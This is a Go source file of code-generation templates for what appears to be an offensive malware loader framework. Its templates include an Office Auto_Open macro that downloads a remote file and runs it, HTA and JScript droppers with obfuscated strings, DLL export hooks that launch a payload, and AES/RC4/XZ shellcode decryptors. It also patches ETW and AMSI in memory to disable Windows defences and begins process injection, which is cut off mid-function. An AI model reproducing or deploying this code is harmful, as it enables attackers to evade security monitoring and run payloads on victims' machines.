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Struct.go
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Struct.go
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package Struct
func Sandbox() string {
return `
func {{.Variables.IsDomainJoined}}() (bool, error) {
var {{.Variables.domain}} *uint16
var {{.Variables.status}} uint32
err := syscall.NetGetJoinInformation(nil, &{{.Variables.domain}}, &{{.Variables.status}})
if err != nil {
return false, err
}
syscall.NetApiBufferFree((*byte)(unsafe.Pointer({{.Variables.domain}})))
return {{.Variables.status}} == syscall.NetSetupDomainName, nil
}
`
}
func Sandbox_DomainJoined() string {
return `
var {{.Variables.checker}} bool
{{.Variables.checker}}, _ = {{.Variables.IsDomainJoined}}()
if {{.Variables.checker}} == true {
} else {
os.Exit(3)
}`
}
func JS_Office_Export() string {
return `
//export xlAutoOpen
func xlAutoOpen() {
Run()
}`
}
func JS_Control_Export() string {
return `
//export CPlApplet
func CPlApplet() {
Run()
}`
}
func WS_JS_Export() string {
return `
//export DllRegisterServer
func DllRegisterServer() {
Run()
}
//export DllGetClassObject
func DllGetClassObject() {
Run()
}
//export DllUnregisterServer
func DllUnregisterServer() {
Run()
}`
}
func WScript_Sandbox() string {
return `
var {{.Variables.objShell}} = new ActiveXObject("Shell.Application")
var {{.Variables.domain}} = {{.Variables.objShell}}.GetSystemInformation("IsOS_DomainMember");
if ({{.Variables.domain}} == 0 ){
}
else {
{{.Variables.loader}}
}
`
}
func HTA() string {
return `<HTML>
<HEAD>
</HEAD>
<BODY>
<script language="javascript" >
window.resizeTo(0,0);
{{.Variables.payload}}
window.close();
</script>
</BODY>
</HTML>
`
}
func HTA_WScript() string {
return `<HTML>
<HEAD>
</HEAD>
<BODY>
<script language="javascript" >
window.resizeTo(0,0);
try {
var {{.Variables.RNZyt}} = window.document.location.pathname;
var {{.Variables.fos}} = new ActiveXObject("Scri"+"pting.FileSy"+"stemObject");
var {{.Variables.bogusWindows1252Chars}} = "\u20AC\u201A\u0192\u201E\u2026\u2020\u2021\u02C6\u2030\u0160\u2039\u0152\u017D\u2018\u2019\u201C\u201D\u2022\u2013\u2014\u02DC\u2122\u0161\u203A\u0153\u017E\u0178";
var {{.Variables.correctLatin1Chars}} = "\u0080\u0082\u0083\u0084\u0085\u0086\u0087\u0088\u0089\u008A\u008B\u008C\u008E\u0091\u0092\u0093\u0094\u0095\u0096\u0097\u0098\u0099\u009A\u009B\u009C\u009E\u009F";
var {{.Variables.obshell}} = new ActiveXObject("Sh"+"ell.App"+"lication");
var {{.Variables.pathworks}} = new ActiveXObject("Wscri"+"pt.shell");
var {{.Variables.dest}} = {{.Variables.pathworks}}.ExpandEnvironmentStrings("%TEMP%") + "\\{{.Variables.filename}}";
function binaryString(str)
{
var r = str ? new String(str) : new String();
r.byteAt = function(index)
{
var value = this.charCodeAt(index);
if (value > 0xff)
{
var p = {{.Variables.bogusWindows1252Chars}}.indexOf(this.charAt(index));
value = {{.Variables.correctLatin1Chars}}.charCodeAt(p);
}
var hex = value.toString(16);
return (hex.length == 2) ? hex : "0" + hex;
};
return r;
}
function {{.Variables.fromByte}}(hex)
{
var c = String.fromCharCode(parseInt(hex, 16));
var p = {{.Variables.correctLatin1Chars}}.indexOf(c);
return (p == -1) ? c : {{.Variables.bogusWindows1252Chars}}.charAt(p);
}
function {{.Variables.decode}}()
{
var {{.Variables.chunkSize}} = 8192;
var {{.Variables.source}} = "{{.Variables.payload}}";
var {{.Variables.decodedFile}} = {{.Variables.fos}}.OpenTextFile({{.Variables.dest}}, 2, true);
var {{.Variables.hexString}} = {{.Variables.source}};
var tempArray = new Array();
for (var i = 0; i < {{.Variables.hexString}}.length; i += 2)
{
tempArray[i >> 1] = {{.Variables.fromByte}}({{.Variables.hexString}}.substring(i, i + 2));
}
var s = tempArray.join("");
if (s.length > 0)
{
{{.Variables.decodedFile}}.Write(s);
}
{{.Variables.decodedFile}}.Close();
}
function {{.Variables.sleep}}(milliseconds) {
var start = new Date().getTime();
for (var i = 0; i < 1e7; i++) {
if ((new Date().getTime() - start) > milliseconds){
break;
}
}
}
{{.Variables.decode}}();
{{.Variables.obshell}}.ShellExecute("C:\\Windows\\Sysnative\\wscript.exe",""+{{.Variables.dest}}+"","","",0);
}
catch (err){
}
window.close();
</script>
</BODY>
</HTML>
`
}
func JS_Office_Sub() string {
return `
var {{.Variables.fso}} = new ActiveXObject("Scrip"+"ting.FileS"+"ystemObject");
var {{.Variables.dropPath}} = {{.Variables.fso}}.GetSpecialFolder(2);
var {{.Variables.objapp}} = new ActiveXObject("{{.Variables.RegName}}.Application");
{{.Variables.objapp}}.Visible = false;
var {{.Variables.Application_Version}} = {{.Variables.objapp}}.Version;
var {{.Variables.WshShell}} = new ActiveXObject("WScript.Shell");
var {{.Variables.strRegPath}} = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" + {{.Variables.Application_Version}} + "\\{{.Variables.RegName}}\\Options\\OPEN";
var {{.Variables.value}} = ""+{{.Variables.dropPath}}+"\\{{.Variables.FileName}}{{.Variables.dllext}}";
{{.Variables.WshShell}}.RegWrite({{.Variables.strRegPath}},{{.Variables.value}}, "REG_SZ");
var {{.Variables.objShell}} = new ActiveXObject("shell.application");
{{.Variables.objShell}}.ShellExecute("{{.Variables.ApplicationName}}", "", "", "open", 0);
WScript.Sleep(40000);
{{.Variables.WshShell}}.RegDelete({{.Variables.strRegPath}});
{{.Variables.WshShell}}.RegDelete("HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" + {{.Variables.Application_Version}} + "\\{{.Variables.RegName}}\\Resiliency\\StartupItems\\");
`
}
func JS_Control_Sub() string {
return `
var {{.Variables.objShell}} = new ActiveXObject("sh"+"ell.applic"+"ation");
{{.Variables.objShell}}.ShellExecute({{.Variables.dropPath}}+"\\{{.Variables.FileName}}{{.Variables.dllext}}", "", "", "", 1);
`
}
func JS_Msiexec_Sub() string {
return `
var {{.Variables.objShell}} = new ActiveXObject("she"+"ll.appl"+"ication");
{{.Variables.objShell}}.ShellExecute("C:\\Windows\\{{.Variables.System32}}\\msiexec.exe", "/z "+{{.Variables.dropPath}}+"\\{{.Variables.FileName}}{{.Variables.dllext}}", "", "", 1);
`
}
func JSfile() string {
return `
try {
var {{.Variables.fso}} = new ActiveXObject("Scripti"+"ng.FileSys"+"temObject");
var {{.Variables.dropPath}} = {{.Variables.fso}}.GetSpecialFolder(2);
var {{.Variables.base6411}}={ {{.Variables.characters}}:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function({{.Variables.atest}}){ {{.Variables.base6411}}.{{.Variables.characters}};var {{.Variables.rtest}}="",{{.Variables.ctest}}=0;do{var {{.Variables.etest}}={{.Variables.atest}}.charCodeAt({{.Variables.ctest}}++),{{.Variables.ttest}}={{.Variables.atest}}.charCodeAt(c++),{{.Variables.htest}}=a.charCodeAt(c++),s=(e=e||0)>>2&63,A=(3&e)<<4|(t=t||0)>>4&15,o=(15&t)<<2|(h=h||0)>>6&3,B=63&h;t?h||(B=64):o=B=64,{{.Variables.rtest}}+={{.Variables.base6411}}.{{.Variables.characters}}.charAt(s)+{{.Variables.base6411}}.{{.Variables.characters}}.charAt(A)+{{.Variables.base6411}}.{{.Variables.characters}}.charAt(o)+{{.Variables.base6411}}.{{.Variables.characters}}.charAt(B)}while(c<a.length);return {{.Variables.rtest}}}};
function {{.Variables.Magic1}}({{.Variables.rtest}}){if(!/^[a-z0-9+/]+={0,2}$/i.test({{.Variables.rtest}})||{{.Variables.rtest}}.length%4!=0)throw Error("failed");for(var t,e,n,o,i,a,f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",h=[],d=0;d<{{.Variables.rtest}}.length;d+=4)t=(a=f.indexOf({{.Variables.rtest}}.charAt(d))<<18|f.indexOf({{.Variables.rtest}}.charAt(d+1))<<12|(o=f.indexOf({{.Variables.rtest}}.charAt(d+2)))<<6|(i=f.indexOf({{.Variables.rtest}}.charAt(d+3))))>>>16&255,e=a>>>8&255,n=255&a,h[d/4]=String.fromCharCode(t,e,n),64==i&&(h[d/4]=String.fromCharCode(t,e)),64==o&&(h[d/4]=String.fromCharCode(t));return {{.Variables.rtest}}=h.join("")}
function {{.Variables.binaryWriter}}({{.Variables.res1}},{{.Variables.filename1}})
{var {{.Variables.base6411}}decoded={{.Variables.Magic1}}({{.Variables.res1}});var {{.Variables.TextStream11}}=new ActiveXObject('A'+'D'+'O'+'D'+'B'+'.'+'S'+'t'+'r'+'e'+'a'+'m');{{.Variables.TextStream11}}.Type=2;{{.Variables.TextStream11}}.charSet='iso-8859-1';{{.Variables.TextStream11}}.Open();{{.Variables.TextStream11}}.WriteText({{.Variables.base6411}}decoded);var {{.Variables.BinaryStream}}=new ActiveXObject('A'+'D'+'O'+'D'+'B'+'.'+'S'+'t'+'r'+'e'+'a'+'m');{{.Variables.BinaryStream}}.Type=1;{{.Variables.BinaryStream}}.Open();{{.Variables.TextStream11}}.Position=0;{{.Variables.TextStream11}}.CopyTo({{.Variables.BinaryStream}});{{.Variables.BinaryStream}}.SaveToFile({{.Variables.filename1}},2);{{.Variables.BinaryStream}}.Close()}
{{.Variables.dll}}
{{.Variables.binaryWriter}}({{.Variables.dllvar}},{{.Variables.dropPath}}+"\\{{.Variables.FileName}}{{.Variables.dllext}}");
{{.Variables.Loader}}
}catch(e) {
}
`
}
func Macro() string {
return `Sub Auto_Open()
Dim {{.Variables.pathOfFile}} As String
Dim {{.Variables.Full}} As String
Dim {{.Variables.t}} As String
{{.Variables.pathOfFile}} = Environ("AppData") & "\Microsoft\Excel\"
VBA.ChDir {{.Variables.pathOfFile}}
Dim {{.Variables.remoteFile}} As String
Dim {{.Variables.storeIn}} As String
Dim {{.Variables.HTTPReq}} As Object
{{.Variables.remoteFile}} = "{{.Variables.URL}}{{.Variables.outFile}}"
{{.Variables.storeIn}} = "{{.Variables.outFile}}"
Set {{.Variables.HTTPReq}} = CreateObject("Microsoft.XMLHTTP")
{{.Variables.HTTPReq}}.Open "GET", {{.Variables.remoteFile}}, False
{{.Variables.HTTPReq}}.send
If {{.Variables.HTTPReq}}.Status = 200 Then
Set {{.Variables.output}} = CreateObject("ADODB.Stream")
{{.Variables.output}}.Open
{{.Variables.output}}.Type = 1
{{.Variables.output}}.Write {{.Variables.HTTPReq}}.responseBody
{{.Variables.output}}.SaveToFile {{.Variables.storeIn}}, 2
{{.Variables.output}}.Close
End If
{{.Variables.Full}} = {{.Variables.pathOfFile}} & {{.Variables.storeIn}}
Set {{.Variables.obj}} = GetObject("new:0006F03A-0000-0000-C000-000000000046")
{{.Variables.obj}}.CreateObject("WScript.Shell").Run("c" & "s" & "c" & "r" & "i" & "p" & "t" & " //E:jscript " & {{.Variables.Full}}), 0
{{.Variables.sleep}}
Kill {{.Variables.Full}}
End Sub
Sub {{.Variables.sleep}}()
Dim when As Variant
Debug.Print "Start " & Now
when = Now + TimeValue("00:00:30")
Do While when > Now
DoEvents
Loop
Debug.Print "End " & Now
End Sub
`
}
func WS_JS() string {
return `
var {{.Variables.manifest}} = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity type="win32" name="{{.Variables.DLLName}}" version="0.0.0.0"/> <file name="{{.Variables.FileName}}{{.Variables.dllext}}"> <comClass description="Description" clsid="{89565276-A714-4a43-912E-978B935EDCCC}" threadingModel="Both" progid="{{.Variables.progid}}"/> </file> </assembly>';
var {{.Variables.ax}} = new ActiveXObject("Microsoft.Windows.ActCtx");
{{.Variables.ax}}.ManifestText = {{.Variables.manifest}};
var {{.Variables.Execute}} = {{.Variables.ax}}.CreateObject("{{.Variables.progid}}");
`
}
func AESDecrypt_Function() string {
return `
func {{.Variables.PKCS5UnPadding}}({{.Variables.src}} []byte) []byte {
{{.Variables.length}} := len({{.Variables.src}})
{{.Variables.unpadding}} := int({{.Variables.src}}[{{.Variables.length}}-1])
return {{.Variables.src}}[:({{.Variables.length}} - {{.Variables.unpadding}} )]
}
func {{.Variables.FuncName}}() []byte {
{{.Variables.ciphertext}}
{{.Variables.vciphertext}}, _ := hex.DecodeString({{.Variables.fullciphertext}})
{{.Variables.vkey}}, _ := hex.DecodeString("{{.Variables.key}}")
{{.Variables.viv}}, _ := hex.DecodeString("{{.Variables.iv}}")
{{.Variables.block}}, _ := aes.NewCipher({{.Variables.vkey}})
{{.Variables.decrypted}} := make([]byte, len({{.Variables.vciphertext}}))
{{.Variables.mode}} := cipher.NewCBCDecrypter({{.Variables.block}}, {{.Variables.viv}})
{{.Variables.mode}}.CryptBlocks({{.Variables.decrypted}}, {{.Variables.vciphertext}})
{{.Variables.stuff}} := {{.Variables.PKCS5UnPadding}}({{.Variables.decrypted}})
return {{.Variables.stuff}}
}
`
}
func RCFDecrypt_Function() string {
return `
func {{.Variables.FuncName}}() []byte {
{{.Variables.ciphertext}}
ciphertext, _ := hex.DecodeString({{.Variables.fullciphertext}})
key, _ := hex.DecodeString("{{.Variables.key}}")
cipher, err := rc4.NewCipher(key)
if err != nil {
return nil
}
{{.Variables.raw_bin}} := make([]byte, len(ciphertext))
cipher.XORKeyStream({{.Variables.raw_bin}}, ciphertext)
return {{.Variables.raw_bin}}
}
`
}
func ELZMADecrypt_Function() string {
return `
func {{.Variables.FuncName}}() []byte {
{{.Variables.ciphertext}}
var {{.Variables.buff}} bytes.Buffer
{{.Variables.hexdata}}, _ := hex.DecodeString({{.Variables.fullciphertext}})
{{.Variables.buff2}} := bytes.NewBuffer({{.Variables.hexdata}})
{{.Variables.clear}}, {{.Variables.err}} := xz.NewReader({{.Variables.buff2}})
if {{.Variables.err}} != nil {
log.Fatalf("NewReader error %s", {{.Variables.err}})
}
io.Copy(&{{.Variables.buff}} , {{.Variables.clear}})
{{.Variables.raw_bin}} := {{.Variables.buff}}.Bytes()
return {{.Variables.raw_bin}}
}
`
}
func Imports() string {
return `
{{.Variables.CPORT}}
import (
{{.Variables.debugpeimport}}
"encoding/base64"
{{.Variables.HEX_Import}}
{{.Variables.DebugImport}}
"[loader]/[loader]"
"strconv"
{{.Variables.fmt}}
"syscall"
"unsafe"
{{.Variables.Time_Import}}
{{.Variables.SandboxOS}}
{{.Variables.Windows_Import}}
"golang.org/x/sys/windows/registry"
{{.Variables.AdditionalImports}}
)
`
}
func Console() string {
return `
func {{.Variables.Console}}(show bool) {
{{.Variables.getWin}} := syscall.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2',})).NewProc({{.Variables.decode}}("{{.Variables.GetConsoleWindowName}}"))
{{.Variables.showWin}} := syscall.NewLazyDLL(string([]byte{'u', 's', 'e', 'r', '3', '2',})).NewProc({{.Variables.decode}}("{{.Variables.ShowWindowName}}"))
{{.Variables.hwnd}}, _, _ := {{.Variables.getWin}}.Call()
if {{.Variables.hwnd}} == 0 {
return
}
if show {
var {{.Variables.SW_RESTORE}} uintptr = 9
{{.Variables.showWin}}.Call({{.Variables.hwnd}}, {{.Variables.SW_RESTORE}})
} else {
var {{.Variables.SW_HIDE}} uintptr = 0
{{.Variables.showWin}}.Call({{.Variables.hwnd}}, {{.Variables.SW_HIDE}})
}
}
`
}
func Header() string {
return `
package main
{{.Variables.Imports}}
const (
{{.Variables.PROCESS_ALL_ACCESS}}= 0x1F0FFF
)
var _ unsafe.Pointer
var (
{{.Variables.customsyscall}} uint16
{{.Variables.customsyscallVP}} uint16
{{.Variables.number}} int = {{.Variables.b64number}}
)
{{.Variables.Debug}}
{{.Variables.Sandboxfunction}}
func {{.Variables.Versionfunc}}() string {
{{.Variables.k}}, _ := registry.OpenKey(registry.LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", registry.QUERY_VALUE)
{{.Variables.Version}}, _, _ := {{.Variables.k}}.GetStringValue("CurrentVersion")
{{.Variables.MV}}, _, err := {{.Variables.k}}.GetIntegerValue("CurrentMajorVersionNumber")
if err == nil{
//{{.Variables.MinV}}, _, _ := {{.Variables.k}}.GetIntegerValue("CurrentMinorVersionNumber")
{{.Variables.Version}} = strconv.FormatUint({{.Variables.MV}}, 10)
}
defer {{.Variables.k}}.Close()
if {{.Variables.Version}} == "10" {
{{.Variables.customsyscall}} = 0x18
{{.Variables.customsyscallVP}} = 0x50
} else if {{.Variables.Version}} == "6.3" {
{{.Variables.customsyscall}} = 0x17
{{.Variables.customsyscallVP}} = 0x4f
} else if {{.Variables.Version}} == "6.2" {
{{.Variables.customsyscall}} = 0x16
{{.Variables.customsyscallVP}} = 0x4e
} else if {{.Variables.Version}} == "6.1" {
{{.Variables.customsyscall}} = 0x15
{{.Variables.customsyscallVP}}= 0x4d
}
return {{.Variables.Version}}
}
func {{.Variables.decode}}({{.Variables.b64}} string,) string {
var {{.Variables.decoded}} []byte
{{.Variables.decoded}}, _ = base64.StdEncoding.DecodeString({{.Variables.b64}})
{{.Variables.sum}} := 1
for i := 1; i < {{.Variables.number}}; i++ {
{{.Variables.decoded}}, _ = base64.StdEncoding.DecodeString(string({{.Variables.decoded}}))
{{.Variables.sum}} += i
}
return string({{.Variables.decoded}})
}
{{.Variables.Console_Function}}
{{.Variables.WriteProcessMemory_Function}}
{{.Variables.ETW_Function}}
{{.Variables.AMSI_Function}}
var procReadProcessMemory = syscall.NewLazyDLL("kernel32.dll").NewProc("ReadProcessMemory")
func {{.Variables.FindAddress}}() uintptr {
var funcNtAllocateVirtualMemory = syscall.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l'})).NewProc("NtAllocateVirtualMemory")
handle := uintptr(0xffffffffffffffff)
num := 2
var add uintptr
AllAddr := funcNtAllocateVirtualMemory.Addr()
for i := 0; i < 20; i++ {
rawr, _, _ := ReadProcessMemory(handle, AllAddr+uintptr(i), uintptr(num))
f := fmt.Sprintf("%0x", rawr)
if f == "0f05" {
add = AllAddr + uintptr(i)
return add
}
}
return add
}
func ReadProcessMemory(hProcess uintptr, lpBaseAddress uintptr, nSize uintptr) (lpBuffer []uint8, lpNumberOfBytesRead int, ok bool) {
var nBytesRead int
buf := make([]uint8, nSize)
ret, _, _ := procReadProcessMemory.Call(
uintptr(hProcess),
lpBaseAddress,
uintptr(unsafe.Pointer(&buf[0])),
nSize,
uintptr(unsafe.Pointer(&nBytesRead)),
)
return buf, nBytesRead, ret != 0
}
`
}
func DLL_Refresher() string {
return `
{{.Variables.Header}}
{{.Variables.ExportName}}
{{.Variables.ExportFunction}}
func main() {
}
//export Run
func Run() {
{{.Variables.Sandbox}}
{{.Variables.ETW}}
{{.Variables.AMSI}}
{{.Variables.Version}} := {{.Variables.Versionfunc}}()
if {{.Variables.Version}} == "10" {
{{.Variables.Reloading}}
}
{{.Variables.ETW}}
{{.Variables.raw_bin}} := [loader].{{.Variables.FuncName}}()
{{.Variables.Shellcode_Exec_Function}}({{.Variables.raw_bin}})
}
{{.Variables.Shellcode_Exec}}
{{.Variables.ReloadFunction}}
`
}
func Binary() string {
return `
{{.Variables.Header}}
func main() {
{{.Variables.Sandbox}}
{{.Variables.ETW}}
{{.Variables.AMSI}}
time.Sleep({{.Variables.SleepSecond}} * time.Millisecond)
{{.Variables.Version}} := {{.Variables.Versionfunc}}()
{{.Variables.VersionMessage}}
if {{.Variables.Version}} == "10" {
{{.Variables.Reloading}}
}
{{.Variables.ETW}}
{{.Variables.hide}}
{{.Variables.raw_bin}} := [loader].{{.Variables.FuncName}}()
{{.Variables.Shellcode_Exec_Function}}({{.Variables.raw_bin}})
}
{{.Variables.Shellcode_Exec}}
{{.Variables.ReloadFunction}}
`
}
func WriteProcessMemory_Function() string {
return `
const (
{{.Variables.errnoERROR_IO_PENDING}}= 997
)
var {{.Variables.errERROR_IO_PENDING}} error = syscall.Errno({{.Variables.errnoERROR_IO_PENDING}})
var {{.Variables.procWriteProcessMemory}} = syscall.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2',})).NewProc({{.Variables.decode}}("{{.Variables.WriteProcessMemoryName}}"))
func {{.Variables.WriteProcessMemory}}({{.Variables.hProcess}} uintptr, {{.Variables.lpBaseAddress}} uintptr, {{.Variables.lpBuffer}} *byte, {{.Variables.nSize}} uintptr, {{.Variables.lpNumberOfBytesWritten}} *uintptr) (err error) {
r1, _, e1 := syscall.Syscall6({{.Variables.procWriteProcessMemory}}.Addr(), 5, uintptr({{.Variables.hProcess}}), uintptr({{.Variables.lpBaseAddress}}), uintptr(unsafe.Pointer({{.Variables.lpBuffer}})), uintptr({{.Variables.nSize}}), uintptr(unsafe.Pointer({{.Variables.lpNumberOfBytesWritten}})), 0)
if r1 == 0 {
if e1 != 0 {
err = {{.Variables.errnoErr}}(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func {{.Variables.errnoErr}}(e syscall.Errno) error {
switch e {
case 0:
return nil
case {{.Variables.errnoERROR_IO_PENDING}}:
return {{.Variables.errERROR_IO_PENDING}}
}
return e
}
`
}
func ETW_Function() string {
return `
var {{.Variables.procEtwNotificationRegister}} = syscall.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l',})).NewProc({{.Variables.decode}}("{{.Variables.EtwNotificationRegisterName}}"))
var {{.Variables.procEtwEventRegister}} = syscall.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l',})).NewProc({{.Variables.decode}}("{{.Variables.EtwEventRegisterName}}"))
var {{.Variables.procEtwEventWriteFull}} = syscall.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l',})).NewProc({{.Variables.decode}}("{{.Variables.EtwEventWriteFullName}}"))
var {{.Variables.procEtwEventWrite}} = syscall.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l',})).NewProc({{.Variables.decode}}("{{.Variables.EtwEventWriteName}}"))
func {{.Variables.ETW}}() {
{{.Variables.handle}} := uintptr(0xffffffffffffffff)
{{.Variables.dataAddr}} := []uintptr{ {{.Variables.procEtwNotificationRegister}}.Addr(), {{.Variables.procEtwEventRegister}}.Addr(), {{.Variables.procEtwEventWriteFull}}.Addr(), {{.Variables.procEtwEventWrite}}.Addr()}
for i, _ := range {{.Variables.dataAddr}} {
{{.Variables.data}}, _ := hex.DecodeString("4833C0C3")
var {{.Variables.nLength}} uintptr
{{.Variables.datalength}} := len({{.Variables.data}})
{{.Variables.WriteProcessMemory}}({{.Variables.handle}}, {{.Variables.dataAddr}}[i], &{{.Variables.data}}[0], uintptr(uint32({{.Variables.datalength}})), &{{.Variables.nLength}})
}
}
func {{.Variables.RemoteETW}}({{.Variables.handle}} windows.Handle) {
{{.Variables.dataAddr}} := []uintptr{ {{.Variables.procEtwNotificationRegister}}.Addr(), {{.Variables.procEtwEventRegister}}.Addr(), {{.Variables.procEtwEventWriteFull}}.Addr(), {{.Variables.procEtwEventWrite}}.Addr()}
for i, _ := range {{.Variables.dataAddr}} {
{{.Variables.data}}, _ := hex.DecodeString("4833C0C3")
var {{.Variables.nLength}} uintptr
{{.Variables.datalength}} := len({{.Variables.data}})
{{.Variables.WriteProcessMemory}}(uintptr({{.Variables.handle}}), {{.Variables.dataAddr}}[i], &{{.Variables.data}}[0], uintptr(uint32({{.Variables.datalength}})), &{{.Variables.nLength}})
}
}
`
}
func AMSI_Function() string {
return `
func {{.Variables.AMSI}}() {
var {{.Variables.handle}} uint64
{{.Variables.handle}} = 0xffffffffffffffff
{{.Variables.ll}}, _ := windows.LoadLibrary(string([]byte{'a','m','s','i','.','d','l','l'}))
{{.Variables.addr}}, _ := windows.GetProcAddress({{.Variables.ll}}, string([]byte{'a','m','s','i','S','c','a','n','B','u','f','f','e','r'}))
{{.Variables.data}}, _ := hex.DecodeString("B857000780C3")
var {{.Variables.nLength}} uintptr
{{.Variables.datalength}} := len({{.Variables.data}})
{{.Variables.WriteProcessMemory}}(uintptr({{.Variables.handle}}), uintptr(uint({{.Variables.addr}})), &{{.Variables.data}}[0], uintptr(uint32({{.Variables.datalength}})), &{{.Variables.nLength}})
}
`
}
func Procces_Injection() string {
return `
var {{.Variables.procWriteProcessMemory}} = syscall.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2',})).NewProc("WriteProcessMemory")
var {{.Variables.funcNtCreateThreadEx}} = syscall.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l',})).NewProc("NtCreateThreadEx")
var {{.Variables.funcNtWriteVirtualMemory}} = syscall.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l',})).NewProc("NtWriteVirtualMemory")
var {{.Variables.funcNtAllocateVirtualMemory}} = syscall.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l',})).NewProc("NtAllocateVirtualMemory")
var {{.Variables.funcNtProtectVirtualMemory}} = syscall.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l',})).NewProc("NtProtectVirtualMemory")
var {{.Variables.procEnumProcessModules}} = syscall.NewLazyDLL(string([]byte{'p', 's', 'a', 'p', 'i',})).NewProc("EnumProcessModules")
var {{.Variables.procGetModuleBaseName}} = syscall.NewLazyDLL(string([]byte{'p', 's', 'a', 'p', 'i',})).NewProc("GetModuleBaseNameW")
var {{.Variables.procGetModuleInformation}} = syscall.NewLazyDLL(string([]byte{'p', 's', 'a', 'p', 'i',})).NewProc("GetModuleInformation")
func errno(e1 error) error {
if e1, ok := e1.(syscall.Errno); ok && e1 == 0 {
e1 = syscall.EINVAL
}
return e1
}
type SyscallError struct {
call string
err error
}
func (e *SyscallError) Error() string {
return fmt.Sprintf("%s: %v", e.call, e.err)
}
const (
MEM_FREE = 0x100 << 8
MEM_COMMIT = 0x10 << 8
MEM_RESERVE = 0x20 << 8
)
type StartupInfoEx struct {
windows.StartupInfo
AttributeList *PROC_THREAD_ATTRIBUTE_LIST
}
type PROC_THREAD_ATTRIBUTE_LIST struct {
dwFlags uint32
size uint64
count uint64
reserved uint64
unknown *uint64
entries []*PROC_THREAD_ATTRIBUTE_ENTRY
}
type PROC_THREAD_ATTRIBUTE_ENTRY struct {
attribute *uint32
cbSize uintptr
lpValue uintptr
}
type MemoryBasicInfo struct {
BaseAddress uintptr
AllocationBase uintptr
AllocationProtect uint32
RegionSize uintptr
State uint32
Protect uint32
Type uint32
}
type MODULEINFO struct {
LpBaseOfDll uintptr
SizeOfImage uint32
EntryPoint uintptr
}
func {{.Variables.CreateProcess}}() *syscall.ProcessInformation {
var {{.Variables.si}} syscall.StartupInfo
var {{.Variables.pi}} syscall.ProcessInformation
{{.Variables.Target}} := "{{.Variables.processpath}}"
{{.Variables.commandLine}}, {{.Variables.err}} := syscall.UTF16PtrFromString({{.Variables.Target}})
if {{.Variables.err}} != nil {
panic({{.Variables.err}})
}
var {{.Variables.startupInfo}} StartupInfoEx
{{.Variables.si}}.Cb = uint32(unsafe.Sizeof({{.Variables.startupInfo}}))
{{.Variables.si}}.Flags |= windows.STARTF_USESHOWWINDOW
{{.Variables.si}}.ShowWindow = windows.SW_HIDE
{{.Variables.err}} = syscall.CreateProcess(
nil,
{{.Variables.commandLine}},
nil,
nil,
false,
0,
nil,
nil,
&{{.Variables.si}},
&{{.Variables.pi}})
if {{.Variables.err}} != nil {
panic({{.Variables.err}})
}
return &{{.Variables.pi}}
}
func {{.Variables.GetModuleInformation}}({{.Variables.hProcess}} windows.Handle, {{.Variables.hModule}} windows.Handle) (MODULEINFO, error) {
{{.Variables.mi}} := MODULEINFO{}
_, _, {{.Variables.err}} := {{.Variables.procGetModuleInformation}}.Call(
uintptr({{.Variables.hProcess}}),
uintptr({{.Variables.hModule}}),
uintptr(unsafe.Pointer(&{{.Variables.mi}})),
uintptr(uint32(unsafe.Sizeof({{.Variables.mi}}))))
if {{.Variables.err}}.(syscall.Errno) != 0 {
return {{.Variables.mi}}, {{.Variables.err}}
}
return {{.Variables.mi}}, nil
}
func {{.Variables.GetModuleBaseName}}({{.Variables.process}} windows.Handle, {{.Variables.module}} windows.Handle, {{.Variables.outString}} *uint16, {{.Variables.size}} uint32) ({{.Variables.n}} int, err error) {
r1, _, e1 := {{.Variables.procGetModuleBaseName}}.Call(
uintptr({{.Variables.process}}),
uintptr({{.Variables.module}}),
uintptr(unsafe.Pointer({{.Variables.outString}})),
uintptr({{.Variables.size}}),
)
if r1 == 0 {
return 0, errno(e1)
}
return int(r1), nil
}
func {{.Variables.EnumProcessModules}}({{.Variables.process}} windows.Handle, {{.Variables.modules}} []windows.Handle) ({{.Variables.n}} int, {{.Variables.err}} error) {
var {{.Variables.needed}} int32
const {{.Variables.handleSize}} = unsafe.Sizeof({{.Variables.modules}}[0])
r1, _, e1 := {{.Variables.procEnumProcessModules}}.Call(
uintptr({{.Variables.process}}),
uintptr(unsafe.Pointer(&{{.Variables.modules}}[0])),
{{.Variables.handleSize}}*uintptr(len({{.Variables.modules}})),
uintptr(unsafe.Pointer(&{{.Variables.needed}})),
)
if r1 == 0 {
{{.Variables.err}} = errno(e1)
return 0, {{.Variables.err}}
}
{{.Variables.n}} = int(uintptr({{.Variables.needed}}) / {{.Variables.handleSize}})
return {{.Variables.n}}, nil
}
func {{.Variables.FunctionName}}({{.Variables.raw_bin}} []byte) {
{{.Variables.pi}} := {{.Variables.CreateProcess}}()
{{.Variables.PPIDMessage}}
time.Sleep(5 * time.Second)
{{.Variables.hh}}, {{.Variables.err}} := windows.OpenProcess({{.Variables.PROCESS_ALL_ACCESS}}, false, {{.Variables.pi}}.ProcessId)
if {{.Variables.err}} != nil {
}
{{.Variables.modules}} := make([]windows.Handle, 255)
{{.Variables.n}}, {{.Variables.err}} := {{.Variables.EnumProcessModules}}({{.Variables.hh}}, {{.Variables.modules}})
if {{.Variables.err}} != nil {
fmt.Println(&SyscallError{"EnumProcessModules", {{.Variables.err}}})
}
if {{.Variables.n}} < len({{.Variables.modules}}) {
